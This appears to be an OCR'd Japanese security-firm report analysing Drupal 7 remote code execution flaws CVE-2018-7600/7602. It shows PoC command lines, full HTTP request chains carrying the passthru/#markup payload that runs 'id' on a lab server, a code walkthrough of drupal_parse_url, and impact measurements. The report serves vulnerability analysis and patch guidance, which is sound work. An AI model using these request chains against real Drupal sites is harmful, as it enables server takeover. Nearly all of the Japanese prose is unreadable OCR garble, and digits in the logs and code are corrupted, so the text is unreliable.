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Drupal core Security advisories : SA-CORE-2018-004
https://www.drupal.org/sa-core-2018-004

& HEH

® Drupal 7.59 £DaID/\—=3>
® Drupal 8.5.3 KDaID/\—=3>

XIREH/R— bSNTLV/RL\Drupal 8.4 REARMEHDFEZRITD AR -
TWLET,

XIRITiE

UFN—=23>A7YvTFT—hIDTETHHRAGETT .
® Drupal 7.xR2ZHEALTL\DIES
Drupal 7.59(C7v 75—k
https://www.drupal.org/project/drupal/releases/7.59
® Drupal 8.5.x%ZFEALTCL\DIBZS
Drupal 8.5.3(C77v 55—k
https://www.drupal.org/project/drupal/releases/8.5.3

© 2018 Mitsui Bussan Secure Directions, Inc. All rights reserved.


https://www.drupal.org/sa-core-2018-002

I\/||B|S|DR

Fiz. BEDR— MEET LU TUVD8.4 xRICEMSEEICHIGLIZ/ (=23 > &)Wy FHRU
U—XENTVFET ., BiR— bR\ - 3 ADREIBITRENRB/MESC(E. 255
DIN==32A\DT Y TFT— bR <TES0N,
® 848[C7vIF—h
https://www.drupal.org/project/drupal/releases/8.4.8

RessTE(CREY BT LS1 >

AHEEMEICDEELTIE. CVE-2018-7600(CBET 2EMD TH DIz, CVE-2018-7600
(CEAETDIEREEDIIANLTA > ZEHLUTHDET,

CVE-2018-76000Dt&5EL-7R— MM BV LFE LM, 2018548 12H(CCVE-2018-
7600MDPoCHARIETNTLE. CVE-2018-7600(CRE9 BIMEHELAI TN TS EDIER

MEHRESNTVET,

Drupal CVE-2018-7600 PoC is Public - SANS Internet Storm Center :
https://isc.sans.edu/forums/diary/Drupal+CVE20187600+PoC+is+Public/23549/

Drupalgeddon 2: Profiting from Mass Exploitation :
https://www.volexity.com/blog/2018/04/16/drupalgeddon-2-profiting-from-mass-
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Drupal 7 and 8 core critical release on April 25th, 2018 PSA-2018-003 :
https://www.drupal.org/psa-2018-003

KEBRIVF I RAICE SEIDT Y TF— MMTDWLTIESA-CORE-2018-002 (CVE-2018
-7600) DIAO—7v I THDEDLEHE NHDELI,
D%, FEED2018F4H25H(CUAT 7Y I — M aEENE Lz,

© 2018 Mitsui Bussan Secure Directions, Inc. All rights reserved. 3


https://www.drupal.org/project/drupal/releases/8.4.6

I\/||B|S|DR

Drupal core - Highly critical - Remote Code Execution - SA-CORE-2018-004:
https://www.drupal.org/sa-core-2018-004
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User login

Welcome to Drupal7.58

No front page content has been created yet.

Password *

+ Create new account
« Request new password

Log in
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FTaY> Rl

> python drupalgeddon3.py http://192.168.121.139 SESS71fb196db128863d1862cdbcdf2bfl
59=shMmAfQWbgScoXckr3IX-mD62eRelLqGEuJU8gwIDlaY 3 id

e Nyl

uid=33(www-data) gid=33(www-data) groups=33(www-data)

HTTPUOIX b (1EB)

GET /node/3/delete HTTP/1.1

Host: 192.168.121.139

Connection: close

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: python-requests/2.18.4

cookie: SESS71fb196db128863d1062cdbcdf2bf159=shMmAfQuWbgScoXckr3IX-mD62eRelLqGEuUIU8gwW
JDlay

HTTPLX/R> X (1[E1H)

HTTP/1.1 2@@ OK

Date: Fri, 27 Apr 2018 11:53:08 GMT
Server: Apache/2.4.18 (Ubuntu)

Expires: Sun, 19 Nov 1978 ©5:00:00 GMT
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
Content-Language: en

X-Frame-Options: SAMEORIGIN

X-Generator: Drupal 7 (http://drupal.org)
Vary: Accept-Encoding

Content-Length: 10948

Connection: close

Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.8//EN"
"http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">

<input type="hidden" name="form_token" value="1RvVc_pBGAXHBkzpftORGYt4fbUDfRr60S550

D4Q_Kk" />
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HTTPUOIX b (2EB)

POST /?q=node/3/delete&destination=node?q[%2523post_render][]=passthru%26q[%2523typ
e]=markup%26q[%2523markup]=id HTTP/1.1

Host: 192.168.121.139

Connection: close

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: python-requests/2.18.4

cookie: SESS71fbl196db128863d1862cdbcdf2bf159=shMmAfQuWbgScoXckr3IX-mD62eRelLqGEuUIUSgw
JD1laY

Content-Length: 115

Content-Type: application/x-www-form-urlencoded

_triggering_element_name=form_id&form_token=1RvVc_pBGAXHBkzpftORGYt4fbUDFfRr60S550D4
Q_Kk&form_id=node_delete_confirm

HTTPLX/R> X (2[E1H)

HTTP/1.1 288 OK

Date: Fri, 27 Apr 2018 11:53:09 GMT
Server: Apache/2.4.18 (Ubuntu)

Expires: Sun, 19 Nov 1978 ©5:80:00 GMT
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
Content-Language: en

X-Frame-Options: SAMEORIGIN

X-Generator: Drupal 7 (http://drupal.org)
Vary: Accept-Encoding

Content-Length: 18559

Connection: close

Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.8//EN"
"http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">

<input type="hidden" name="form_build_id" value="form-kw-Zn13QFkHI9vZ8kVS_pe5ngFVtU

1A7DpLEGUan128" />
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HTTPUOIX b (3EAR)

POST /?q=file/ajax/actions/cancel/%23options/path/form-kw-Zn13QFkHI9vZ8kVS_pe5SngFVt
UlA7DpLEGUan128 HTTP/1.1

Host: 192.168.121.139

Connection: close

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: python-requests/2.18.4

cookie: SESS71fb196db128863d1062cdbcdf2bf159=shMmAFfQWbgScoXckr3IX-mD62eReLqGEuUIUSgW
JD1aYy

Content-Length: 62

Content-Type: application/x-www-form-urlencoded

form_build_id=form-kw-Zn13QFkHI9vZ8kVS_pe5ngFVtUlA7DpLEGUan128

HTTPL X/R> X (3EIH)

HTTP/1.1 288 OK

Date: Fri, 27 Apr 2018 11:53:1e GMT

Server: Apache/2.4.18 (Ubuntu)

Expires: Sun, 19 Nov 1978 ©5:@0:00 GMT
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
X-Drupal-Ajax-Token: 1

Content-Length: 1319

Connection: close

Content-Type: application/json; charset=utf-8

uid=33(www-data) gid=33(www-data) groups=33(www-data)
[{"command":"settings","settings":{"basePath":"\/", "pathPrefix":"","ajaxPageState":
{"theme": "bartik"”, "theme_token":"qa27mxEkKeDBAdGreAtpdKHCZp7m5070TdqjSCOTB_o"}, "ove
rlay”:{"paths":{"admin": "node\/*\/edit\nnode\/*\/delete\nnode\/*\/revisions\nnode\/
*\/revisions\/*\/revert\nnode\/*\/revisions\/*\/delete\nnode\/add\nnode\/add\/*\nov
erlay\/dismiss-message\nuser\/*\/shortcuts\nadmin\nadmin\/*\nbatch\ntaxonomy\/term
\/*\/edit\nuser\/*\/cancel\nuser\/*\/edit\nuser\/*\/edit\/*","non_admin": "admin\/st
ructure\/block\/demo\/*\nadmin\/reports\/status\/php"},"pathPrefixes":[], "ajaxCallb
ack":"overlay-ajax"}}, "merge"”:true},{"command":"insert", "method":"replaceWith", "sel
ector":null,"data":"","settings":{"basePath":"\/", "pathPrefix":"","ajaxPageState":
{"theme": "bartik"”, "theme_token":"qa27mxEkKeDBAdGreAtpdKHCZp7m5070TdqjSCOTB_o"}, "ove
rlay”:{"paths":{"admin": "node\/*\/edit\nnode\/*\/delete\nnode\/*\/revisions\nnode\/
*\/revisions\/*\/revert\nnode\/*\/revisions\/*\/delete\nnode\/add\nnode\/add\/*\nov
erlay\/dismiss-message\nuser\/*\/shortcuts\nadmin\nadmin\/*\nbatch\ntaxonomy\/term
\/*\/edit\nuser\/*\/cancel\nuser\/*\/edit\nuser\/*\/edit\/*","non_admin": "admin\/st
ructure\/block\/demo\/*\nadmin\/reports\/status\/php"},"pathPrefixes":[], "ajaxCallb
ack":"overlay-ajax"}}}]
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PoC 2 TORITHER

SEWREE U2 DEDPoCTI(E. Drupal D#EETH D 11— —DHIBRIEE | ZFIFA L TL)
£9, PoOCEEITIBICIIUTOREZ/BZINENGHDET,

o WHRYA MNZOJARIEERI—Y 7 HD> MEEEL TS
o MWHRYA MNIBWTI—H—%HIBRI IEREINMISETNTND (BBETER)

APoCl, OJAAIENEFENTUDZ. URLOMBICI—T—&E/\XXT— REEEL
ia_o

TN R

> python drupa7-CVE-2018-7682.py admin admin http://192.168.121.139

e Nyl

| DRUPAL 7 <= 7.58 REMOTE CODE EXECUTION (SA—CORE—Z@]S—@@& / CVE—2@18—?6@2)
[ by pimps

*] Creating a session using the provided credential...

]

] Finding User ID...

] User ID found: /user/1

] Poisoning a form using 'destination' and including it in cache.

] poisoned form ID: form-abD56rvBCayyXTFUZ335TujnllLwet@HxNyn17qZMZX4
[*] Triggering exploit to execute: id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

[

[*
[*
[*
[*

© 2018 Mitsui Bussan Secure Directions, Inc. All rights reserved. 12



HTTPUOIX b (1EB)

POST /?q=user%2Flogin HTTP/1.1

Host: 192.168.121.139

Connection: close

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: python-requests/2.18.4
Content-Length: 56

Content-Type: application/x-www-form-urlencoded

pass=admin&form_id=user_login&op=Log+in&name=admin

HTTPL A/R> X (1[E18)

HTTP/1.1 382 Found

Date: Tue, @1 May 2018 ©1:20:84 GMT

Server: Apache/2.4.18 (Ubuntu)

Expires: Sun, 19 Nov 1978 ©5:80:00 GMT

Cache-Control: no-cache, must-revalidate

X-Content-Type-Options: nosniff

Set-Cookie: SESS71fb196db128863d1062cdbcdf2bf159=jYk9_2ccAzY4nGrURPs51013jx18NB-KAD
YFeNGERTk; expires=Thu, 24-May-2018 ©4:53:24 GMT; Max-Age=2000000; path=/; HttpOnly
Location: http://192.168.121.139/user/1

Content-Length: ©

Connection: close

Content-Type: text/html; charset=UTF-8

© 2018 Mitsui Bussan Secure Directions, Inc. All rights reserved. 13



HTTPUOIX b (2EB)

GET /user/1 HTTP/1.1

Host: 192.168.121.139

Connection: close

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: python-requests/2.18.4

Cookie: SESS71fb196db128863d1062cdbcdf2bf159=jYk9_2ccAzY4nGrURPs51013jx1@NB-KADYFeN
GERTk

HTTPL XA/R> X (2[E18)

HTTP/1.1 288 OK

Date: Tue, ©1 May 2018 ©1:20:04 GMT
Server: Apache/2.4.18 (Ubuntu)

Expires: Sun, 19 Nov 1978 ©5:80:00 GMT
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
Content-Language: en

X-Frame-Options: SAMEORIGIN

X-Generator: Drupal 7 (http://drupal.org)
Vary: Accept-Encoding

Content-Length: 15466

Connection: close

Content-Type: text/html; charset=utf-8

A -

© 2018 Mitsui Bussan Secure Directions, Inc. All rights reserved.
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HTTPUOIX b (3EAR)

GET /?qg=user HTTP/1.1

Host: 192.168.121.139

Connection: close

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: python-requests/2.18.4

Cookie: SESS71fb196db128863d1062cdbcdf2bf159=jYk9_2ccAzY4nGrURPs51013jx1@NB-KADYFeN
GERTk

HTTPL R/R> X (3EIH)

HTTP/1.1 286 OK

Date: Tue, ©1 May 2018 ©1:28:05 GMT
Server: Apache/2.4.18 (Ubuntu)

Expires: Sun, 19 Nov 1978 ©5:00:00 GMT
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
Content-Language: en

X-Frame-Options: SAMEORIGIN

X-Generator: Drupal 7 (http://drupal.org)
Vary: Accept-Encoding

Content-Length: 15467

Connection: close

Content-Type: text/html; charset=utf-8

<meta about="/user/1#me" typeof="foaf:Person" rel="foaf:account" resource="/user/1"
/>

© 2018 Mitsui Bussan Secure Directions, Inc. All rights reserved.
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HTTPUOIX b (4EB8)

GET /?q=%2Fuser%2F1%2Fcancel HTTP/1.1

Host: 192.168.121.139

Connection: close

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: python-requests/2.18.4

Cookie: SESS71fb196db128863dle62cdbcdf2bf159=jYk9_2ccAzY4nGrURPs51013jx10NB-KADYFeN
GERTk

HTTPL AR X (4[E18)

HTTP/1.1 288 OK

Date: Tue, @1 May 2018 ©1:20:86 GMT
Server: Apache/2.4.18 (Ubuntu)

Expires: Sun, 19 Nov 1978 ©5:80:80 GMT
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
Content-Language: en

X-Frame-Options: SAMEORIGIN

X-Generator: Drupal 7 (http://drupal.org)
Vary: Accept-Encoding

Content-Length: 11288

Connection: close

Content-Type: text/html; charset=utf-8

<input type="hidden" name="form_token" value="IAmUr®NkBziBcmbjPeMetwuUrNL1kPAcGcql5
ihehza™ />

Al e

© 2018 Mitsui Bussan Secure Directions, Inc. All rights reserved.
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HTTPUOIX b (5EIB8)

POST /?q=%2Fuser%2Fl1%2Fcancel&destination=%2Fuser%2F1%2Fcancel%3Fq%5B%2523post_rend
er%5D%5B%5D%3Dpassthru%26q%5B%2523type%5D%3Dmarkup%26q%5B8%2523markup%5D%3Did HTTP/
1.1

Host: 192.168.121.139

Connection: close

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: python-requests/2.18.4

Cookie: SESS71fb196db128863dle62cdbcdf2bf159=jYk9_2ccAzY4nGrURPs51013jx10NB-KADYFeN
GERTk

Content-Length: 138

Content-Type: application/x-www-form-urlencoded

_triggering_element_name=form_id&form_token=IAmUre@NkBziBcmbjPeMetwuUrNL1kPAcGcql5ih
6hzA&form_id=user_cancel_confirm_form&op=Cancel+account

HTTPL X/R> X (5EIH)

HTTP/1.1 286 OK

Date: Tue, ©1 May 2018 ©1:28:07 GMT
Server: Apache/2.4.18 (Ubuntu)

Expires: Sun, 19 Nov 1978 ©5:00:00 GMT
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
Content-Language: en

X-Frame-Options: SAMEORIGIN

X-Generator: Drupal 7 (http://drupal.org)
Vary: Accept-Encoding

Content-Length: 119@@

Connection: close

Content-Type: text/html; charset=utf-8

<input type="hidden" name="form_build_id" value="form-abD56rvBCayyXTFUZ335TujnlLwet
BHxNyn17qZMZX4" />

R
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HTTPUOIX b (6EIB)

POST /?q=file%2Fajax%2Factions%2Fcancel%2F%23options%2Fpath%2Fform-abD56rvBCayyXTFU
Z335TujnlLwet®HxNynl17qZMZX4 HTTP/1.1

Host: 192.168.121.139

Connection: close

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: python-requests/2.18.4

Cookie: SESS71fbl96db128863d1e@62cdbcdf2bf159=jYk9_2ccAzY4nGrURPs51013jx1@NB-KADYFeN
GERTk

Content-Length: 62

Content-Type: application/x-www-form-urlencoded

form_build_id=form-abD56rvBCayyXTFUZ335TujnlLwet®HxNyn17qZMZX4

HTTPL X/R> X (6[EIH)

HTTP/1.1 288 0K

Date: Tue, @1 May 2018 ©1:20:88 GMT

Server: Apache/2.4.18 (Ubuntu)

Expires: Sun, 19 Nov 1978 ©5:80:00 GMT
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nhoshiff
X-Drupal-Ajax-Token: 1

Content-Length: 1319

Connection: close

Content-Type: application/json; charset=utf-8

uid=33(www-data) gid=33(www-data) groups=33(www-data)

[{"command":"settings", "settings":{"basePath":"\/","pathPrefix":"","ajaxPageState":
{"theme":"bartik", "theme_token":"a_Wg51FJ]-YTiehaMEVKAOUkOK9Y5gmHo348viim7Usto"}, "ove
rlay”:{"paths":{"admin": "node\/*\/edit\nnode\/*\/delete\nnode\/*\/revisions\nnode\/
*\/revisions\/*\/revert\nnode\/*\/revisions\/*\/delete\nnode\/add\nnode\/add\/*\nov
erlay\/dismiss-message\nuser\/*\/shortcuts\nadmin\nadmin\/*\nbatch\ntaxonomy\/term

\/*\/edit\nuser\/*\/cancel\nuser\/*\/edit\nuser\/*\/edit\/*","non_admin™:"admin\/st
ructure\/block\/demo\/*\nadmin\/reports\/status\/php"}, "pathPrefixes":[],"ajaxCallb
ack":"overlay-ajax"}}, "merge":true},{"command":"insert", "method":"replacelWith","sel
ector”:null,"data™:"","settings":{"basePath":"\/", "pathPrefix":"", "ajaxPageState":

{"theme":"bartik", "theme_token":"a_Wg51FJ]-YTiehaMEVKAOUkOK9Y5gmHo348viim7Usto"}, "ove
rlay”:{"paths":{"admin": "node\/*\/edit\nnode\/*\/delete\nnode\/*\/revisions\nnode\/
*\/revisions\/*\/revert\nnode\/*\/revisions\/*\/delete\nnode\/add\nnode\/add\/*\nov
erlay\/dismiss-message\nuser\/*\/shortcuts\nadmin\nadmin\/*\nbatch\ntaxonomy\/term

\/*\/edit\nuser\/*\/cancel\nuser\/*\/edit\nuser\/*\/edit\/*","non_admin™:"admin\/st
ructure\/block\/demo\/*\nadmin\/reports\/status\/php"}, "pathPrefixes":[],"ajaxCallb
ack":"overlay-ajax"}}}]

CDPoCTIEFUOIT A MM6ERREENZET,

F/z. 7 IAJ)L b TlEpassthrufEz=FAL TidOX > RAAEITENE T,
BIEDRNELUTIE. OJAAURNAD TWLWBD T EZBRWTPOCLE(FFRILTY,
FIEIMEBELZI—Y—-IDE/\RD— RTOJ A >iET2iT\\ES (1EH8 - 28D
DOIXRBN) &
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LR ZARDmeta” 0 & O 1 -5 —HIFRUIR(IC 7 It RS BDzshDURL (R ZEUS LU

9 GEBEDUIIRN) .

ZD#. CSRFWIRAD h—20>TdBform_tokenZGETUOTX R TAFL (4BIEHDY
OIRK)  #LULEO—-RZEEVVIIANIKD TClormDFT—F%&F v > 1S HEfor
m_build_idZESLZEd (CEBEDUIIXN)  RE&ICFrvSastizformzlL >4
U>JUEYT (BEBDUITRE) . REBOLARAZHRT D EidIAN > ROETHE
ENEETETCVET,
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BREEUJZPOCICEIT 58 E,

[#REE UT=PoCICDWT] DIEBETER&H UELIEMN. KLR— bOBERFRTI(E. Drupa
I8. XxFDPoCH AR TN TULVRL =8, Drupal7. . xFDPoCZEFIF U CTHREEZEMUE L
1=

PoCODEHEICDWLT

F9| AREULTZ 2 DDPoCZFA LU TERDI— REETI DETOEANROSY I,
CVE-2018-7600 T BEN/=Drupal 7. xEBDPoCHOED EE—TY . EARM(C(E. Form A
PIZFIAAL CHIZ Uicd— RESALFormDFv v a1 ZEKRL. TDFrvS a1zl >
AT Z I THI U O— REERITI IEMEICIRDET,

R(CSONKEE UTzPoCOEMEE U TEBINRE R TIMN, {ANEDrupal7.58 TENMENTZ
H =4 B % )+ )X 3 D$_GET['destination'|DiE%E FF(CHBELTWNDZEE, *
EEZ_E(CURLT>I—RFRUTWVWBDERIEEEBERFT,

$_GET['destination'](CE&XTE SNIfB(E. FRIEM(C(EForm APID/\SA—F U TERE
NE9I, TDIzHForm APIZEHL CFormZ+v v 1832 ENAIEETT,

Fre. YA X% )+ )CR UT=$_GET['detination' JdF—4 (&, confirm_form()A
T$_GET['destination’ ] fFE I DFRICEITEMNDdrupal_parse_url()Z#HEL. parse_s
tr)DBIECIRDFET, LEROWIR(CT. Z&EICURLT>O— RENF/INSA—-FH RS
nxd.

CDESE, HICURLIL>O— REn/c/\SAXA—45%$_GET['destination'|DfiEE U TEEL
EBE(IC(E. FIURTI SO A MNEBIF & UTIRNDN D T2 bRifF 3 DEMEICIRD FEH A
DIz, EEEZ [#] EUTEIRSEDZHICTET>T—-RURE 1%2523] &S
BZXELTLNDEHEAIL TWLET,

SFICDWTIEUT =5 BN )1 )\ EN2IBIZD:HM ] DIEE(CEEH L THD
F9,

TF21YVFr VRIIEDONWT

FIEIFERE =MN/=CVE-2018-7600(%. Drupal.orgh\sHiiL/zfiE&E L CFa )T+ U R DE
24 (%) TUJz. SEERENIZCVE-2018-7602T(Ftz+a1 U7+ UXTfEIF20 (%)
ERRDTHED. BRKURILANILTEHS [Highly Critical] (CHITDRAKEERD TLE
ER
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CVE-2018-7602(3CVE2018-7600D3§5k & U CiBIlEN =B =45 1 XL 7% )1 ) (X

BDEDTHD. NHASNEPoCEMFRY A MMCOT A > AIfETH D ENFHREM LR T
WBZEMS, CVE2018-7600(CtERTEF 2 UFT 4 URITHLEMEL IR D TWLBDDTIE

BRUNEERFT,

LML, PoC 2 (CEALTROTA> - - N EBZHIRIT DUUETHRITAIRETH D&

5. - -—FFZHT L TLDIY A b T ERNFHZHZLUDPITVDTERVDE
BESNDZHERNNETT,

RH. I—YT-BBDHIRE L, BEEMmHS [People] ZFE. [Permissions] 57
(CT lauthenticated user] (C [Cancel own user account| MFFA]ZBINT D& TE

TTEBRDICRDFET,

% Drupal.org(dt+a1 U7+ URXDZ25EETIHMI L TH D, FUBNZ W\ ZFEBREN S
<IRDTWLET,

https://www.drupal.org/drupal-security-team/security-risk-levels-defined

POCORITICK DY hMZEICDWNT

CVE-2018-7600DIR5ERF & [EIER(C. ReSSIEZRIICH LT, APoCZFIAT D LV DERIC
T. POCETRICHITRHE(CDWLWTRESM (TIREELZLE ULz,
REEER(CDOWVWTIIIER(ICEESH L THEDFT.

fERELTIE, AIEEERRCIREE L /ZPoCEHEFETHIAT D 2 L KDY A MR EE
NREITDZELFI|EEDTY,

212U, Form APIZFIFAL TUL\BBIHER L. e EEBformIERDF+ v S 1 (IDBICRTE
&1, DrupaldDfttrE UTCORRMRF SN B aeENtH D FE T,

F/z. BIEOPoCERITURBL D HBwatchdog(TRFSNDOTDENETIEX TULE
9,

DrupalM>J #)L MKETHEIFI 2O DEFIHEA1000THDE. AEEPoCZEEITL
2B EEOTDRE LRICGET DaIgeENS D ET,

AREssEERALUCZiZEERT D58 TOREERI DIVNENDDEEZFT.
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B =5 A 0B ) 1 )R =N BB

BAF(EDrupal7.58 CEMENE B =51 XIBT T,

if ($key !=="" && $key[0] === "#' && !in_array($key, $whitelist, TRUE)) {
unset ($input [$key]) ;
$sanitized_keys[] = $key;

}

PoC 2 &ZHlICTDE. CCTHZAHA XUBDMREIRD$keyld. BE&destination T
D, Z#destination(CFREFINZLLTOMEITH ZF 1 XDMRICIED FEH A

/user/1/cancel?q[%23post_render][]=passthrudq[%23type]=markup&q[%23markup]=id

TDE. CDI\SA—4(Idrupal_parse_url()NdDparse_str() TREATNET .
BUF (&, Drupal7.58 TPoCZ34T UZBR(Cdrupal_parse_urlOA'EifTanz&EE=n1-)L
AV ITY,

drupal_parse_ur| (drupal-7.58¥%inc|udes¥common. inc:615)

confirm_form (drupal-7.58¥modules¥system¥system. module:2896)
user_cancel_confirm_form (drupal-7. 58¥modules¥user¥user. pages. inc:460)
drupal_retrieve_form (drupal-7.58¥includes¥form. inc:842)
drupal_build_form (drupal-7.58¥includes¥form. inc:351)

drupal_get_form (drupal-7.58¥includes¥form. inc:131)
menu_execute_active_handler (drupal-7.58¥includes¥menu. inc:527)

{main} (drupal-7.58¥index. php:21)
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BUF (Zparse_str() DALIEDHZ BRI (CEIT UTEBRDOEITER TY ., URLT>I—REN/z
BZXFHTEUCBE(CT 11— RENENESIF— & UTHRAENTHWS Z EAMDD
ig_o

$ php -r 'parse_str("q[%23post _render][]=passthru&q[%23type]=markup&q[%23markup]=ec
ho cve201876@2cve”, $p); var_dump($p);' -
array(1l) {.
["a"]=>.
array(3) {.
["#post_render"]=>.
array(1) {.
[0]=>-
string(8) "passthru".
}-
["#type"]=>.
string(6) "markup™.
[“#markup"]=>.
string(19) "echo cve20187602cve”.

LERERST L DIRIEUZPOCTI(EIUA TF2RDT U=y U%& AT, Drupal7.58(CTEME
NS =5+ B =IFI(CEE L TS EEXF T,

e $_GET['destination'|DIEDFIE
o XEMEMTEFURLI>I—K

[(&%&] drupal_parse_url

function drupal_parse_url ($url) {
$options = array(

"path’ => NULL

"query’ => array()

"fragment’ => "’

)i

// External URLs: not using parse_url () here, so we do not have to rebuild
// the scheme, host, and path without having any use for it
if (strpos($url, "://") !== FALSE) {
// Split off everything before the query string into 'path’
$parts = explode (' ?", $url);
$options[ path'] = $parts[0];
// 1f there is a query string, transform it into keyed query parameters
if (isset($parts[1])) {
$query_parts = explode ('#', $parts[1]);
parse_str ($query_parts[0], $options[ query'1);
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// Take over the fragment, if there is any
if (isset($query_parts[11)) {
$options[ fragment'] = $query parts[1];
]
}
]
// Internal URLs
else {
// parse_url () does not support relative URLs, so make it absolute. E.g. the
// relative URL “foo/bar:1” isn't properly parsed
$parts = parse_ur| (http://example. com/’ . $url);
// Strip the leading slash that was just added
$options[ path'] = substr (§parts[ path’], 1);
if (isset($parts[ query 1)) {
parse_str ($parts[ query’ 1, $options[ query'1);
}
if (isset($parts[ fragment'1)) {
$options[ fragment'] = $parts[ fragment'];
}
}
// The 'q parameter contains the path of the current page if clean URLs are
// disabled. It overrides the 'path’ of the URL when present, even if clean
// URLs are enabled, due to how Apache rewriting rules work
if (isset($options[ query’'1['a’])) {
$options[ path’] = $options[ query' 1['a']1;
unset ($options[ query’' 10 a’ 1) ;
}

return $options;
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I

PoCER{TIRDREICET SHE

POCOREITICKDTHA M EDKLSIRFFEN H DN AL & FEROZM ChRERZEEMLUEL
Tzo BUF(E Ress1Es2iz 1T SRR RICTERIE UICASRRRAERR T,

Drupal7.58
HHEE

VMware ED/\—F v )L > FTHREELTVET,

5 )\ ZKBRK
CPU: 1
RAM: 1GB

RiE 1 : J'SOYHERERX NPCHSET
ETABE
TSOHCTCrI+R (RRNDNHER TSI TBEET)

vmstatiER (F2/RI)

procs memory -——-swap—— -————io———— -system—— —————- cpu———-
r b swpd free buff cache si so bi bo in c¢s us sy id wa st
0 0 20356 65200 137228 464060 0 0 0 32 87 302 5 289 4 0
0 0 20356 65200 137228 464060 0 0 0O 456 52 137 0 196 3 0
0 0 20356 65200 137228 464060 0 0 0 32 63 203 4 193 2 0
0 0 20356 65076 137228 464060 0 0 4 0 239 251 1 592 2 0
2 0 20356 65076 137228 464068 0 0 0 0 8 214 6 193 0 0

R 2 : curlzZBlY—)Uh5R1T

ERITRE

while(true);do curl http://192.168.121.139/; sleep 1; done
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vmstatiEsR (F2RI)

procs

swpd
20356
20356
20356
20356
20356

OO O o —
[=NelelNoNeloy

memory

free buff cache
65340 133348 456504
65340 133348 456504
65340 133348 456504
65340 133348 456504
65340 133348 456504

—-——swap—— —————io———— -system
si so bi bo in c¢s
0 0 0 0 48 87
0 0 0 0 50 162
0 0 0 20 53 100
0 0 0 0 60 1M
0 0 0 0 44 81

us sy id wa st

0

4
1
4
0

199
0 96
0 99
294
199

0

O O O o
(=N elNeNeNe)

#R3E 3 : Drupal7.x PoCZBIY—)\h5E1T

KRITRE

while(true); do drupa7-CVE-2018-7602. py admin admin http://192.168.121.139;

sleep 1; done

vmstatiER (F2/R1)

procs memory ———swap— ———io——— -system— ———— cpu——-—
r b swpd free buff cache si so bi bo in c¢s us sy id wa st
1 0 20356 70452 136760 458780 0 0 0 48 95 258 6 193 0 0
0 0 20356 70452 136768 458780 0 0 0O 488 122 306 2 194 3 0
0 0 20356 70452 136796 458788 0 0 0O 148 117 352 7 291 0 O
0 0 20356 70452 136808 458800 0 0 0O 140 110 286 2 293 3 0
0 0 20356 70452 136816 458800 0 0 0 124 66 133 0 296 2 0
PoC 2ZFIHALUTAVUZSFILDOEEERITUTWVET ., POCOERITICTETDT 1« ATI0ONF

HLTVWBDEDODT ST TOEH EHFEDEDSIRN ENDNDET,
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DB

POCEATHI DL O— REIC K DEBN R ZITVE UIC. COMERZITS & TDB

ESIAHDOREEENMONDET,

R 7EE U ORDIRISSQL 22 CTDT—TILICH U TE

LET,

oo

1TU. POCZELTHI

BDED

select count (x) as batch from batch;

LAF (ZDrupal7.58 TEIT UTZBRICED M REUEED T .

PoC3E{THI PoCE{TH
. + o +
| cache_form | | cache_form |
. + o +
| 106 | | 108 |
F————————— + e +
e + e +
| sessions | | sessions |
. + Fm—————— +
| 59 | | 60 |
. + Fm—————— +
. + . +
| watchdog | | watchdog |
. + Fm—————— +
| 1024 | | 1034 |
. + Fm—————— +
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PoCzEEITUIRCEICK>TLO— REMEIMLTWLWET ., LIF(FFT—T)lcache _form®d
NBTT. ECOHSLERRIDERRT —IENEZLRODTCUESTEDH2DDASAIC
[RELTUWLWET,

mysql> select cid, expire from cache_form order by expire desc limit 2;

| cid | expire I

| form_state_form—6g_8xpJ-54dIKp50x4tS6sX2Eusi_Yrw28 jMIAibHRM | 1525181669 |
| form_form-6g_8xpJ-54d1Kp5Ax4tS6sX2Eusi_Yrw28 jMIAibHRM | 1525181669 |

CDOARBHSEILIEBRICHHTZIR T A —LDF v aMERSNEC ERDMDET, /F
RENZIA—AFTIAILNTERME (21600%) ®RiFENFT . €Dz, FormdD+
v A BERNCRREF T Y I SNBRIT D EEERUTHBENHDET,
F—J)lwatchdog(3EBEE® [Home » Administration » Reports] THERRIAERO
TMMREFESNEIN. CVE-2018-7600DPoCLDEZ < DOTNHILENET,

F I A)L NEE Twatchdog(CRFESNB AV -0 (. &xK1000TH D8, 26
S5ER#HUTHMENSGDEDTT,

F—J)lsessionsldtzy >3 > OvF—DIENERENTW S ENS. Ty a3 ERIC
937 —INiixEn T EBmNET.,

W

.
cache_form expiration is configurable in Drupal 7
https://www.drupal.org/node/2857751
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Drupal7.59 TDIEIERICDLT

Drupal7.58 TIIIEE(CS > TILIBARBDIEIE T LM, Drupal7.59Tld. DI 71 IL
TIEEMTONTVET,
FJ'includes/bootstrap.incTt$_GET['destionaiton' |\ FIE 9 BIHE DT — 45 X4LIEH
BilENFE Uz, COIIETI(Eincludes/request-sanitizer.inc\FT#R(CBIlEN7zcleanD
estination )MFUH ENZET . cleanDestination() Tlddrupal_parse_url()Z3EiTUIZ%
(L1812 (S A =433 L TstripDangerousValues( )= £{TLUTWE Y,
drupal_parse_url()(dincludes/common.inclCEFENDEETIN. S ITHEENAD
TWET . drupal_parse_url()Tl&. $options['query']['q'1H\FET DiHE (CIEZ $optio
